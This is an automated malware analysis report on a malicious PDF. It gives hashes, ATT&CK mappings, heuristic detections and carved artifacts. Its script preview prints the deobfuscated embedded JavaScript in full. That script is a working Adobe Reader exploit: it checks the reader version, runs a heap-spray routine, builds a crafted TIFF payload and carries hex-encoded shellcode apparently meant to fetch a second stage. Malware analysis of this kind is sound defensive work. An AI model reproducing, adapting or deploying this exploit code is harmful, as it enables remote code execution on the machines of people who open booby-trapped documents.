Malicious PDF — malware analysis report

Static analysis result for SHA-256 6e25e74295bffe7c…

MALICIOUS

PDF

13.6 KB Created: 2011-03-17 22:40:08 Authoring application: say gor First seen: 2026-05-08
MD5: 6e4ffa099b264803ccec8712ef136f97 SHA-1: 973a7470db2af9dbb87a6e5f9198a9a211db4242 SHA-256: 6e25e74295bffe7cf40560c4bbced9b01fc110a82308aa518a2e7cb7522175f1
72 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains heuristics indicating it is malformed and contains an embedded script payload. The ML classifier strongly flagged this PDF as malicious. The deobfuscated JavaScript payload, 'acroform_b64_00.js', appears to be designed to exploit a PDF vulnerability and likely download a second-stage payload. The embedded file 'embedded_file_obj0008.bin' is also suspicious.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Embedded script payload in PDF stream info PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xci/1.0/In PDF document text
    • http://ns.adobe.com/xtd/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://ns.adobe.com/xfdf/In PDF document text
    • http://www.xfa.org/schema/xfa-form/2.8/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.5/In PDF document text

Extracted artifacts 8

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0018.bin pdf-embedded-file PDF EmbeddedFile object 18 at offset 0x14A3 84 bytes
SHA-256: d81baa73e490e4cb879e13927cacd1dd1be37524a37eac51603e15117c578777
embedded_file_obj0007.bin pdf-embedded-file PDF EmbeddedFile object 7 at offset 0x153E 228 bytes
SHA-256: 24c130f03a4cf51d470b536e94c1e58af67665739e200e0ce198ad41086243c0
embedded_file_obj0006.bin pdf-embedded-file PDF EmbeddedFile object 6 at offset 0x1669 199 bytes
SHA-256: c97e0522381d6196cc0695f35f4d065f15c9c86a9601a7f776c6afd3f4c6b460
embedded_file_obj0004.bin pdf-embedded-file PDF EmbeddedFile object 4 at offset 0x1777 147 bytes
SHA-256: 7baff63a88b71236cdf31ce99637997c3ac2ed8fba6bd86686ad7cd1c15e9eb9
embedded_file_obj0014.bin pdf-embedded-file PDF EmbeddedFile object 14 at offset 0x1851 77 bytes
SHA-256: e6c26a3478346d27e841ad49868ebf68bf4c6863b6750e8d60bda3c4c6f79876
embedded_file_obj0001.bin pdf-embedded-file PDF EmbeddedFile object 1 at offset 0x18E4 56 bytes
SHA-256: 92a3ce61d783e15932b5de127ce45a9b4c2f98f4da2453f65241573c1dda808a
embedded_file_obj0008.bin pdf-embedded-file PDF EmbeddedFile object 8 at offset 0x1C25 6150 bytes
SHA-256: 6a93c256e289b83933e1f4b39925f2f2c5bdc71a704bf137939998440dfa2ec9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
acroform_b64_00.js deobfuscated-js PDF AcroForm base64 (raw) at offset 0x20C9 3660 bytes
SHA-256: 6dd9708bbc4fe710fb23fca6e01caeeaaa912d3d8967b73cc4bf175fae5cf96f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
�1s#:s_3s#=3[13/19�<�/23_; �|��|�o>3HnQy() { return app; } function ifkgl(iEF) { var gRd = ''; gRd = unescape(iEF); return gRd; } function get_ver() { var ver = HnQy().viewerVersion.toString(); ver = ver.replace('.',''); while(ver.length < 4) { ver += '0'; } ver = parseInt(ver,10); return ver; }function make_block(iEF,len){ while (iEF.length * 2 < len){ iEF += iEF; } iEF = iEF.substring(0, len / 2); return iEF; }function heap_spray3(scode) { scode = ifkgl(scode); var sclen = scode.length * 2; var fill = ifkgl("%u9090"); var spray = make_block(fill,0x2000 - sclen); var block = scode + spray; block = make_block(block,0x80000 - 0x40); for (var i = 0;i<0x190;i ++){ Jo_sc[i] = block.substr(0,block.length - 1) + fill; } return; }function make_str(iEF, len){ while (iEF.length < len){ iEF += iEF; } iEF = iEF.substring(0, len); return iEF; }function num2hex(num){ var iEF = num.toString(16); var len = iEF.length; var ret = (len % 2) ? '0' + iEF : iEF; return ret; }function str2uni(iEF){ var ret = ''; for (var i = 0;i < iEF.length;i += 2){ ret += "%u"; ret += num2hex(iEF.charCodeAt(i + 1)); ret += num2hex(iEF.charCodeAt(i)); } return ret; }function hex2str(hex){ var ret = ''; for (var i = 0;i < hex.length;i += 2){ var b = hex.substr(i,2); var num = parseInt(b,16); ret += String.fromCharCode(num); } return ret; }exploit();function exploit() { var ver = get_ver();if (ver >= 0x1f40) { var tiff = "SUkqADggAABB"; var nops = make_str("QUFB",0x2ae8); var start = "QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////"; var foot = ''; var sc_hex = '';if (ver < 0x2009) { foot = "o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK"; sc_hex = "4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141b0839090eb16b9310100008b342489f7803ee97406ac34b3aae2fac3e8e5ffffff5abfb2b3b3ed325fefb2b3b33a543efca33edce78268e4e2e0e0e0e0e0e0e0e6e0e0dbb7b2b3b3e6e5e0dbdcddb3b3dbc6c1dfdee7db3dfdbd5f5bfbb3b3b3e35bcfb3b3b34c633077bbdbfc5cfcb6e35bdfb3b3b34c633673c6a4d9e7ea4019dbc14d00a55baeb3b3b3e35be2b3b3b34c63e0d94ddb3adcb20e5bbbb3b3b3e35b8fb3b3b34c63d38273d738e38338e1bf38e1a738c19b0aabb3b3b3824c82731f8fd2cfb19f93727cbeb2745143324ce80ff9d938f1a338a1c66a3af797afd270d338df979738f68f38e7b6cbb25938f9ab38e993b2585087fa388738b25d824c82734f1f3773c7b4727cbeb274584788cf979bc65238e997b258d538bff838e9afb25838b738b25b3af797afd271bbb35b5c4d4c4cdbc7c7c3899c9cc6c0d6c19ddfdcd0d2df9cc7d6c0c79dd6cbd6b3";} else { foot = "kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK"; sc_hex = "4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141b0839090eb16b9310100008b342489f7803ee97406ac34b8aae2fac3e8e5ffffff51b4b9b8b8e63954e4b9b8b8315f35f7a835d7ec8963efe9ebebebebebebebedebebd0bcb9b8b8edeeebd0d7d6b8b8d0cdcad4d5ecd036f6b65450f0b8b8b8e850c4b8b8b847683b7cb0d0f757f7bde850d4b8b8b847683d78cdafd2ece14b12d0ca460bae50a5b8b8b8e850e9b8b8b84768ebd246d031d7b90550b0b8b8b8e85084b8b8b84768d88978dc33e88833eab433eaac33ca9001a0b8b8b8894789781484d9c4ba94987977b5b97f5a483947e304f2d233faa833aacd6131fc9ca4d97bd833d49c9c33fd8433ecbdc0b95233f2a033e298b9535b8cf1338c33b9568947897844143c78ccbf7977b5b97f534c83c49c90cd5933e29cb953de33b4f333e2a4b95333bc33b95031fc9ca4d97ab0b85057464747d0ccccc8829797cdcbddca96d4d7dbd9d497ccddcbcc96ddc0ddb8"; } if (foot.length) { var ret = [tiff,nops,start,foot].join(''); var sc_str = hex2str(sc_hex); var scode = str2uni(sc_str); heap_spray3(scode); Sayhasretiredwrestlertypewellas.rawValue = ret; } } }

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